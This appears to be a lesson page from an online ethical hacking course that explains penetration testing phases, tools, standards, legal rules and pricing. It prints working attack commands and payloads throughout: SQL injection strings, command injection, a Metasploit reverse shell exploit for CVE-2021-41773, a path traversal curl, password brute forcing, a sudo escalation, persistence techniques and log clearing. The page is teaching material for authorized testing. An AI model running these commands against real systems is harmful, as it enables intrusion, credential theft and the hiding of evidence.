Preparing your learning space...
29% through Ethical Hacking tutorials
Penetration Testing (or Pen Testing) is a simulated cyber attack against a computer system, network, or web application to identify exploitable vulnerabilities. Unlike a vulnerability assessment (which only finds flaws), a penetration test actively exploits them to determine the real-world impact.
Pen Testing answers the question: "What would actually happen if a real attacker targeted us?"
| Year | Company | Outcome of Missed Vulnerability |
|---|---|---|
| 2017 | Equifax | Apache Struts CVE not patched → 147M records breached → $1.4B in costs |
| 2020 | SolarWinds | Weak build pipeline → 18,000+ organizations compromised |
| 2021 | Colonial Pipeline | Single VPN password → Pipeline shutdown → Fuel shortages across US East Coast |
| 2023 | MGM Resorts | Social engineering of help desk → $100M+ loss from Ransomware |
| Aspect | Vulnerability Assessment | Penetration Test |
|---|---|---|
| Goal | Find & list vulnerabilities | Exploit vulnerabilities to prove impact |
| Approach | Scan & report automation | Manual exploitation + automated tools |
| Output | List of vulnerabilities with risk scores | Proof-of-concept exploit + attack chain |
| False Positives | High (many false alarms) | Low (confirmed by actual exploitation) |
| Accuracy | Lower — cannot confirm exploitability | High — demonstrates what is actually exploitable |
| Frequency | Weekly/Monthly/Quarterly | Annually or after major changes |
| Cost | Lower ($1K-$10K) | Higher ($10K-$100K+) |
| Depth | Broad (covers many systems) | Deep (targets critical systems) |
| Skill Required | Moderate (run scanner, interpret results) | High (manual exploitation, creative thinking) |
Analogy: A vulnerability assessment is an X-ray (shows potential problems). A penetration test is a surgery (opens you up to confirm and fix the problem).
| Type | Tester Knowledge | Realism | Time | Cost |
|---|---|---|---|---|
| Black Box | Zero — starts as external attacker | ✅ Most realistic | Longest (slow discovery) | Highest |
| White Box | Full — source code, credentials, docs | ❌ Least realistic | Shortest (direct to testing) | Lower for same depth |
| Grey Box | Partial — limited credentials/docs | ✅ Best balance | Medium | Medium |
When to use each:
| Target | What is Tested | Common Tools |
|---|---|---|
| Network | Firewalls, routers, switches, servers, exposed services | Nmap, Nessus, Metasploit |
| Web Application | Login pages, APIs, forms, session handling, file uploads | Burp Suite, OWASP ZAP, SQLmap |
| Mobile Application | iOS/Android apps, backend APIs, local storage | MobSF, Frida, Objection |
| Cloud | AWS/Azure/GCP configurations, IAM roles, S3 buckets | ScoutSuite, Prowler, Pacu |
| Wireless | Wi-Fi encryption (WPA2/WPA3), rogue APs, deauth attacks | Aircrack-ng, Kismet, Wifite |
| Social Engineering | Phishing emails, phone pretexting, physical tailgating | Gophish, SET, EvilGinx |
| Physical | Building access, badge cloning, lock picking, RFID | Proxmark3, lock picks, RFID tools |
| API | REST/SOAP/GraphQL endpoints, auth, rate limiting | Postman, Burp Suite, Custom scripts |
| Approach | Description |
|---|---|
| External | Tests internet-facing assets (websites, VPNs, email servers) |
| Internal | Tests from inside the network (simulates compromised employee or breach) |
| Blind | Internal team is NOT told about the test — tests detection capability |
| Double-Blind | Both internal and external teams are unaware — tests both detection and response |
| Targeted | Both teams know and work together — focused on specific systems |
Most professional pen tests follow a standardized framework. Below is the 7-Phase Methodology with specific commands and examples.
"Know your enemy before you attack." — Sun Tzu, The Art of War
Objective: Collect as much information as possible about the target before touching any system.
| Technique | Command / Tool | Purpose |
|---|---|---|
| Ping Sweep | nmap -sn 192.168.1.0/24 | Find live hosts on the network |
| Port Scan | nmap -sS -sV -p- 192.168.1.10 | Find open ports and service versions |
| OS Detection | nmap -O 192.168.1.10 | Determine the operating system |
| DNS Enumeration | nslookup -type=any example.com | Find DNS records (A, MX, NS, TXT) |
| DNS Brute Force | dnsrecon -d example.com -D subdomains.txt -t brt | Find subdomains |
Example Nmap Scan Output:
$ nmap -sS -sV -p- 192.168.1.10
Nmap scan report for 192.168.1.10
Host is up (0.0023s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 6ubuntu0.1
80/tcp open http Apache httpd 2.4.49
443/tcp open http Apache httpd 2.4.49
3306/tcp open mysql MySQL 5.7.35
| Technique | Tool / Source | Information Gathered |
|---|---|---|
| WHOIS Lookup | whois example.com | Registrar, owner, contact info, name servers |
| Google Dorking | site:example.com filetype:pdf | Hidden documents, exposed directories |
| Shodan | shodan.io search | Internet-facing devices, service banners |
| Wayback Machine | archive.org | Historical versions of website (old API endpoints) |
| Social Media | LinkedIn, Twitter, Facebook | Employee names, email format, tech stack |
| GitHub Dorking | github.com search | Leaked credentials, internal code |
| Certificate Transparency | crt.sh | Subdomains from SSL certificates |
Google Dorking Examples:
site:example.com "password" # Find pages mentioning "password"
site:example.com intitle:"index of" # Find directory listings
site:example.com inurl:wp-admin # Find WordPress admin panels
site:example.com ext:sql # Find exported SQL files
site:example.com "confidential" filetype:pdf # Find confidential PDFs
"Find every door and window before you try to open one."
Objective: Identify running services, versions, user accounts, and potential entry points.
| Service | Enumeration Technique | Tool |
|---|---|---|
| Web Server | HTTP methods, headers, directory busting | curl -I, gobuster, nikto |
| SSH | Version detection, algorithm negotiation | nmap --script ssh-* |
| SMB (Windows) | Share listing, null sessions | smbclient -L, enum4linux |
| FTP | Anonymous login check, file listing | ftp, nmap --script ftp-* |
| SMTP | User enumeration via VRFY/EXPN | smtp-user-enum |
| DNS | Zone transfer attempts, record enumeration | dig axfr, dnsrecon |
| SNMP | Community string brute force | onesixtyone, snmpwalk |
$ gobuster dir -u https://app.example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
/admin (Status: 200) [Size: 1452]
/login (Status: 200) [Size: 2034]
/api (Status: 200) [Size: 89]
/backup (Status: 403) [Size: 312] ← Interesting!
/.git (Status: 200) [Size: 121] ← CONFIG EXPOSED!
🔴 Red Flag: Found
.gitdirectory exposed. This often contains the entire source code, database credentials, and API keys.
$ hydra -l admin -P passwords.txt ssh://192.168.1.10
[DATA] attacking ssh://192.168.1.10:22/
[22][ssh] host: 192.168.1.10 login: admin password: P@ssw0rd123
"This is where theory meets practice."
Objective: Use the vulnerabilities found in Phase 2 to gain initial access to the target system.
| Technique | Example | Impact |
|---|---|---|
| SQL Injection | admin' OR '1'='1' -- | Login bypass + database dump |
| Command Injection | ; cat /etc/passwd | Remote code execution on server |
| File Upload RCE | Upload .php file as avatar | Full server control |
| Unvalidated Redirect | redirect=evil.com | Phishing attack vector |
| SSRF | Internal port scanning | Access internal systems |
| Broken Access Control | Change user_id in URL | View other users' data |
Step 1: Bypass login
───────────────────
Request: POST /login username=admin' OR '1'='1'--
Response: 200 OK (logged in as admin)
Step 2: Extract database structure
─────────────────────────────────
Request: POST /login username=' UNION SELECT table_name,1 FROM information_schema.tables--
Response: ... users, payments, credit_cards ...
Step 3: Dump data
──────────────────
Request: POST /login username=' UNION SELECT username,password FROM users--
Response: admin:5f4dcc3b5aa765d61d8327deb882cf99
(hash: "password" — MD5, cracked instantly)
msf6 > use exploit/multi/http/apache_normalize_path
msf6 > set RHOSTS 192.168.1.10
msf6 > set RPORT 80
msf6 > set TARGETURI /
msf6 > check
[+] 192.168.1.10:80 - The target is vulnerable to CVE-2021-41773.
msf6 > set PAYLOAD cmd/unix/reverse_bash
msf6 > set LHOST 192.168.1.100
msf6 > exploit
[*] Sending payload...
[*] Command shell session 1 opened (192.168.1.100:4444 → 192.168.1.10:38492)
whoami
www-data
"You're in the building, but can you reach the server room?"
Objective: Move from a low-privilege account (or initial access) to root/administrator.
| Technique | Command | Description |
|---|---|---|
| SUID Binaries | find / -perm -4000 2>/dev/null | Find executables that run as root |
| Sudo Rights | sudo -l | What commands can the user run as root? |
| Cron Jobs | cat /etc/crontab | Scheduled tasks running as root |
| Kernel Exploits | uname -a then search | Old kernel = potential privilege escalation |
| Writable Files | find / -writable -type f 2>/dev/null | Can we overwrite a config file? |
| Capabilities | getcap -r / 2>/dev/null | Linux capabilities misconfiguration |
Example — Sudo Privilege Escalation:
www-data@target:~$ sudo -l
User www-data may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim
www-data@target:~$ sudo vim -c ':!/bin/bash'
root@target:/root# whoami
root
| Technique | Tool | Description |
|---|---|---|
| Unquoted Service Paths | wmic service get name,pathname | Spaces in service paths = potential code execution |
| Token Impersonation | Incognito module (Metasploit) | Steal SYSTEM tokens |
| DLL Hijacking | Procmon + custom DLL | Replace a missing DLL with malicious one |
| AlwaysInstallElevated | Registry check | MSI files install as SYSTEM |
| SeImpersonatePrivilege | JuicyPotato, PrintSpoofer | Escalate from SERVICE to SYSTEM |
| Technique | Description |
|---|---|
| Pass-the-Hash | Use NTLM hash (not password) to authenticate to other machines |
| SSH Key Abuse | Find and reuse private SSH keys in ~/.ssh/ |
| PSExec | Execute commands remotely using admin shares (ADMIN$) |
| WMI | Remote WMI queries to execute commands |
| WinRM | Windows Remote Management — PowerShell remoting |
| Mimikatz | Dump plaintext passwords and Kerberos tickets from memory |
"Ensure you can get back in even after a reboot."
Objective: Create a way to re-enter the system if the connection is lost.
⚠️ Note: In most professional engagements, this phase is simulated rather than fully executed, per the Rules of Engagement. The tester may document how persistence could be achieved without actually doing it.
| Method | Platform | Technique |
|---|---|---|
| Reverse Shell | Both | A script that call backs to the tester's listener periodically |
| Web Shell | Linux/Windows | A script file placed in the web directory (e.g., shell.php) |
| Cron Job | Linux | Scheduled task that connects back every 5 minutes |
| Scheduled Task | Windows | Same concept, using Windows Task Scheduler |
| SSH Authorized Keys | Linux | Add tester's public key to ~/.ssh/authorized_keys |
| Startup Folder | Windows | Script in C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
| Registry Run Keys | Windows | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Service Installation | Windows | Install a backdoor as a Windows service |
| Rootkit | Both | Kernel-level hiding of processes, files, and network connections |
"Leave no trace (unless the client wants evidence)."
Objective: Remove evidence of the test from the target system.
| System | Log Files | Action |
|---|---|---|
| Linux | /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log | Clear entries, or specific lines |
| Windows | Security Event Log (Event ID 4624 = logon, 4648 = explicit logon) | Clear with wevtutil cl Security or PowerShell |
| Web Server | Access logs, error logs | Delete entries for the tester's IP |
| Database | MySQL general log, query log | Remove SQL injection entries |
⚠️ Note: In ethical hacking, covering tracks is handled carefully. Some clients want the evidence left intact for training their Blue Team. Always clarify this in the Rules of Engagement.
"If it isn't documented, it didn't happen."
This is the most important phase — delivery of a comprehensive report (see Tutorial 7: Security Reporting for full details).
A professional pen test report includes:
This example shows how multiple low-severity issues can chain into a critical compromise:
Step 1: [RECON] Gobuster finds /backup/ directory (Status 403)
Step 2: [RECON] nmap shows Apache 2.4.49 (vulnerable to CVE-2021-41773)
Step 3: [EXPLOIT] Path traversal: curl -s --path-as-is 'http://app.example.com/cgi-bin/.%2e/%2e%2e/var/www/html/backup/db_config.php'
Step 4: [EXPLOIT] Retrieved db_config.php contains database credentials
Step 5: [EXPLOIT] MySQL is exposed externally (port 3306)
Step 6: [EXPLOIT] mysql -h app.example.com -u backup_user -pBackup123
Step 7: [PE] MySQL user has FILE privilege → read /etc/shadow → crack root password
Step 8: [ROOT] SSH as root → FULL SYSTEM COMPROMISE
Each step by itself is LOW risk (forbidden directory, old Apache, exposed MySQL,
MySQL user with FILE). Chained together → CRITICAL risk.
| Standard | Description | Best For |
|---|---|---|
| PTES | Penetration Testing Execution Standard — 7-phase methodology | General pentesting methodology |
| OWASP Testing Guide | Web application testing guide (v4.2 / v5) | Web application pentesting |
| OWASP WSTG | Web Security Testing Guide — comprehensive checklist | Web + API testing |
| NIST SP 800-115 | Technical Guide to Information Security Testing | Government / compliance |
| OSSTMM | Open Source Security Testing Methodology Manual | Security auditing, not just pentesting |
| PCI DSS v4.0 | Requirement 11.4 — penetration testing methodology | Payment card industry compliance |
| Category | Tool | Purpose | Cost |
|---|---|---|---|
| Recon | Nmap | Port scanning, service detection, OS detection | Free |
| Recon | Masscan | Massively parallel port scanning (entire internet) | Free |
| Recon | Recon-ng | Web reconnaissance framework | Free |
| Recon | Shodan | Search engine for internet-connected devices | Freemium |
| Vuln Scan | Nessus | Industry-standard vulnerability scanner | Commercial |
| Vuln Scan | OpenVAS | Open-source vulnerability scanner | Free |
| Vuln Scan | Nikto | Web server vulnerability scanner | Free |
| Web | Burp Suite Professional | Intercepting proxy + automated web scanning | Commercial (£399/yr) |
| Web | OWASP ZAP | Open-source web app scanner | Free |
| Web | SQLmap | Automated SQL injection exploitation | Free |
| Exploitation | Metasploit Pro/Community | Exploitation framework | Commercial/Free |
| Exploitation | SearchSploit | Local copy of Exploit-DB | Free |
| Exploitation | Impacket | Windows protocol tools (psexec, wmiexec) | Free |
| Password | Hashcat | GPU-accelerated password cracking | Free |
| Password | John the Ripper | CPU password cracking | Free |
| Password | Hydra | Online password brute-force | Free |
| Wireless | Aircrack-ng | WEP/WPA/WPA2 cracking suite | Free |
| Wireless | Kismet | Wireless network detector/sniffer | Free |
| Post-Exploit | Mimikatz | Windows credential dumping | Free |
| Post-Exploit | BloodHound | Active Directory privilege escalation path analysis | Free |
| Frameworks | Cobalt Strike | Commercial adversary simulation | Commercial ($3,500/yr) |
| Rule | Why It Matters |
|---|---|
| Never test without written authorization | Testing without permission is a felony under CFAA / Computer Misuse Act |
| Stay within the agreed scope | Going outside scope is illegal even if you find real vulnerabilities |
| Handle data responsibly | Do not exfiltrate or view personal data unnecessarily — GDPR penalty = 4% of global revenue |
| Follow the Rules of Engagement | The RoE defines exactly what is allowed — violating it breaches the contract |
| Report all findings honestly | Never hide vulnerabilities (unethical) or inflate risks (fraud) |
| Destroy data after the engagement | Client data retention policies must be followed — typically 30-90 days |
| Type | Duration | Cost Range |
|---|---|---|
| External Network Pentest | 1-3 days | $5K - $15K |
| Internal Network Pentest | 2-5 days | $10K - $30K |
| Web Application Pentest | 3-10 days | $10K - $50K |
| Mobile Application | 5-10 days | $15K - $60K |
| Cloud Infrastructure | 3-5 days | $10K - $30K |
| Full Red Team Exercise | 2-4 weeks | $50K - $200K+ |
| SOC 2 Pentest | 3-5 days | $10K - $25K |
Save your progress and earn XP for completing tutorials.
Keep learning
Technology
Cyber Security & Networking
Lesson group
Ethical Hacking
Progress
29% complete